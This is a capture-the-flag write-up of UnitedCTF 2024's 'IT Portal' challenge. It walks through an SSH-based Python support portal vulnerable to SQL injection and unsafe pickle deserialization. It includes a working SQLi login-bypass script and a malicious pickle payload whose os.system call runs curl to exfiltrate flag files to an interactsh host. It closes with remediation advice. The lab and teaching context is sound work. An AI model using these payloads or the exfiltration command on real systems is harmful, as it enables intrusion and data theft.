IT Portal was a 2-challenge-long track at UnitedCTF 2024, provided by the folks at Desjardins. Here's how it went for me.
Preface
An internal team has designed a support portal to treat incidents and maintenance requests. Your mandate is to audit this new system.
The source code and an instance have been made available to you for your tests. However, the team did not provide you with an account to do these tests with!
Your first objective is thus to authenticate to the application!
Well, that's great. If I had a nickel for every time for every time I had to do security work on something where I had absolutely no credentials and had to break my way in, I'd have 2 nickels. That, however, is a story for another time.
Part 1 - SQLi, Just Like Grandma Used To Make
Let's get the ball rolling. First up, source code inspection. I needed to get into the application somehow, and the instancer said something about using SSH to log in . . . somehow.
I noticed the paramiko
import off the bat and put two and two together -- this was the login portal. And it was rolling its own SSH. Oh boy.
#!/usr/bin/env python3
import sys
import time
import base64
import pickle
import socket
import sqlite3
import paramiko
import threading
from paramiko.common import (AUTH_SUCCESSFUL, AUTH_FAILED,
OPEN_SUCCEEDED, OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED)
For those unaware, paramiko is a Python package specifically designed for all things SSH: Servers, Clients, everything you could ever want!
My suspicions were confirmed when the ITPortal class was derived from Paramiko's server interface. And -- excuse me, WHAT?
class ITPortal(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == "session":
return OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username: str, password: str) -> int:
con = sqlite3.connect(DB)
c = con.cursor()
user = c.execute(
f'SELECT user_id from users where username LIKE "{username}"'
).fetchone()
if user is None:
return AUTH_FAILED
auth = c.execute(
f'SELECT user_id from users where username == "{username}" and password == "{password}"'
).fetchone()
if auth is not None:
return AUTH_SUCCESSFUL
return AUTH_FAILED
# --- SNIP ---
Folks, we are maybe 1 minute into looking at this file, being GENEROUS, and we already have not one, but two SQL injections. And they're the classic garden variety zero-filter type.
Alright, I can get a sense of where to go from here. Now I just need to write an SSH client that doesn't . . . take . . . a login shell. Well, you know what they say about learning experiences.
I did sneak a peek at the handle
function to make sure I wasn't doing anything crazy. I did need to factor in a host key -- I opted to use some Python to generate a guaranteed-paramiko-compatible SSH key for the host, chucked it in the key file mentioned, and I was in business.
def handle(client: socket.socket, server: ITPortal):
t = paramiko.Transport(client)
host_key = paramiko.RSAKey(filename=HOST_KEY)
t.add_server_key(host_key)
t.start_server(server=server)
chan = t.accept(20)
if chan is None:
print("[!] No channel started, exiting.")
sys.exit(1)
while True:
chan.send(CLEAR) # clear terminal
chan.send(b"[ " + FLAG + b" ]")
chan.send(MENU)
choice = readline(chan).strip(b"\r\n")
# --- SNIP ---
def start_server(address: str, port: int):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind((address, port))
portal = ITPortal()
s.listen(100)
while True:
client, addr = s.accept()
print('[?] Incoming connection from: ', addr)
t = threading.Thread(target=handle, args=[client, portal])
t.start()
finally:
s.close()
if __name__ == "__main__":
print('[*] - IT Portal -')
print('[?] Serving on 0.0.0.0:2020')
start_server("0.0.0.0", 2020)
The only other thing is that check_auth_password
indicated that I needed an SQLite3 database, so a quick and dirty users table based on what I was seeing solved that:
$ sqlite3 db/portal.db
> CREATE TABLE users(user_id, username, password);
> .exit
That was easy. Alright, time to test.
In one terminal window, I spooled up a local version of the portal using uv
: uv run --with paramiko portal.py
In another, I got the beginnings of a solve script. After bit of time fiddling with Paramiko's API, and introducing the classic " OR 1=1--
payload that so many SQL databases have been graced with, I had this:
import paramiko
from paramiko import Channel, SSHClient
def main():
client = SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
"localhost",
port=2020,
username='" OR 1=1--',
password="hello",
look_for_keys=False,
)
print("[+] Logged in successfully.")
channel = client.invoke_shell()
time.sleep(0.1)
while channel.recv_ready():
output = channel.recv(1000)
# This gets rid of the "screen clear" bytes
output = output.replace(b"\x1b[H\x1b[2J", b"")
print(output.decode(), end="")
In short, this would turn both SQL statements formed by the login into:
SELECT user_id from users where username LIKE "" OR 1=1 --
SELECT user_id from users where username == "" OR 1=1 -- and password == "hello"
1=1 is a tautology, so these just resolve to the first entry the database can find, and we're through. That's flag one!
[+] Logged in successfully.
[ flag-aa2181b8db80934befc12a9faf688b ]
-----------------------
|| IT SUPPORT PORTAL ||
-----------------------
| 1 - Create Ticket |
| 2 - Check Ticket |
| x - Exit |
-----------------------
>
Part 2: You INSERTED a Pickle WHERE?
Alright, time to look at the rest of this portal. It looked like it could do 2 things:
- Create tickets
- Inspect tickets
Hilariously, this was enough to completely compromise the app.
Now, you'd think that the worst that could happen would be that they'd have another SQL injection that I'd have to finagle into sensitive information disclosure.
Then I saw this:
def create_ticket(project: str, subject: str, desc: str):
con = sqlite3.connect(DB)
c = con.cursor()
try:
t = Ticket(subject, desc)
t_blob = base64.b64encode(pickle.dumps(t)).decode()
print(project)
c.execute( # Uh oh.
f'INSERT INTO tickets (project, ticket) VALUES ("{project}", "{t_blob}")'
)
con.commit()
finally:
c.close()
con.close()
Did . . . that's pickle
. Why are people using pickle
for data storage?! You know, I should have figured as much from the imports, but oh JOY, was I going to have a time here.
Quick Python lesson: Pickle is a way of serializing and unserializing data into binary format for easier storage. You can, to an extent, store the state of a python program at a specific moment in time.
Fun fact, pickle
can also cause a remote code execution when you load a pickled Python object. And guess what this program does?
def check_tickets(project: str) -> str | None:
con = sqlite3.connect(DB)
c = con.cursor()
body = ""
try:
# Hilariously, this is actually the correct way of doing it
tickets = c.execute(
"SELECT ticket from tickets where project = (?)", (project,)
).fetchall()
if len(tickets) == 0:
return None
for ticket in tickets:
if ticket is None:
continue
t = pickle.loads(base64.b64decode(ticket[0])) # *Uh oh.*
line = f"| {t.subject} :: {t.status}\r\n"
body += line
return body
except Exception as e:
print("[!] Err: ", e)
finally:
c.close()
con.close()
Alright. Here's the gist of the issue:
- The program pickles an object, base64 encodes it, and then stores it in a database.
- The program then assumes the object will be in the form that it expects.
- The program then unpickles the object, thinking it will not cause any problems.
Unfortunately, they forgot just one teensy tiny detail: There's another SQL injection upon insert. And they don't make the same mistake when they read from the database.
So, how did I exploit this?
Part 3: Out of Band, Out of Mind!
Python classes can define a __reduce__
method, which allows them to specify how they'll be serialized into a pickle object. Since I could more or less fully control what was being inserted into, and thus extracted from, the database, I had a decent amount of power.
However, it took some fiddling to figure out how to actually do it. Another player actually had a much better payload than I did, but this is what I came up with:
class Ticket:
STATUS = ["open", "in progress", "closed"]
def __reduce__(self):
return (
os.system,
(
"curl https://olpcagyxhunezwuouwgabt4twk3wueffb.oast.fun/$(cat /flag* | base64 -w 0)",
),
)
def __init__(self, subject, desc):
self.subject = subject
self.desc = desc
self.status = "open"
That oast.fun
URL is actually a link to interactsh, a fantastic out-of-band (OOB) interaction server, perfect for server-side request forgeries and, in my case, data exfil. (Shout out to Quack for the writeup that inspired this technique.)
I used cat
with a wildcard to read anything that looked like it had a flag
prefix, that way I'd be able to do all of this in a single request. Base64 encoding made sure that the output was URL safe. However, if you want something more sophisticated, ngrok
and a bash TCP reverse shell are more than likely possible like this player did.
That said, now I just needed to send a payload over the wire. After creating a function to condense the repeated calls to recv()
et al., this was the remainder of the exploit script:
# Exploit Part 1: Sowing the Seed
channel.sendall(b"1\n")
time.sleep(0.1)
receive(channel)
time.sleep(0.1)
project = secrets.token_hex(8)
payload = pickle.dumps(Ticket(project, "Some Description"))
pickletools.dis(payload)
delivery = f'{project}", "{base64.b64encode(payload).decode()}")--\n'
# delivery = f"{project}\n"
channel.sendall(delivery.encode())
receive(channel)
time.sleep(0.1)
channel.sendall(b"This won't matter\n")
receive(channel)
time.sleep(0.1)
channel.sendall(b"And neither will this!\n")
receive(channel)
time.sleep(0.1)
# Exploit Part 2: Reaping the Reward
channel.sendall(b"2\n")
receive(channel)
time.sleep(0.1)
channel.sendall(f"{project}\n".encode())
receive(channel)
client.close()
# We're done here. Over to interactsh!
Now, the first few times I did this, I could not get anything to show up, and that's because I initially took a different approach trying to inject os
function calls into the body of the ticket directly. Which, realistically, is about as bad for stealth as triggering an OOB interaction and then forcing an error. Oh well.
Below is an example of the result in interactsh:
And a call to ls
decoded in CyberChef.
Conclusion
So, to address the various security issues at play here:
- Honestly, unless you have a really good reason to, rolling your own SSH Server isn't a great idea. Combined with the SQL injection, this portal had an authentication bypass that really shouldn't have happened.
- Parameterized queries! They're super important for preventing SQL injections, and as we've seen here, those escalate real fast.
- Pickle -- just don't. Find another way to serialize it. There are so many RCE risks it's not even funny. Heck, there was an opportunity to just have the ticket attributes be an actual part of the database table, maybe have a hook function to read from the tuple, plenty of ways of going about it. No need to get fancy with base64-encoded pickling, although I absolutely get why you might do that.
Great challenge, really had a lot of fun with this one.
Top comments (0)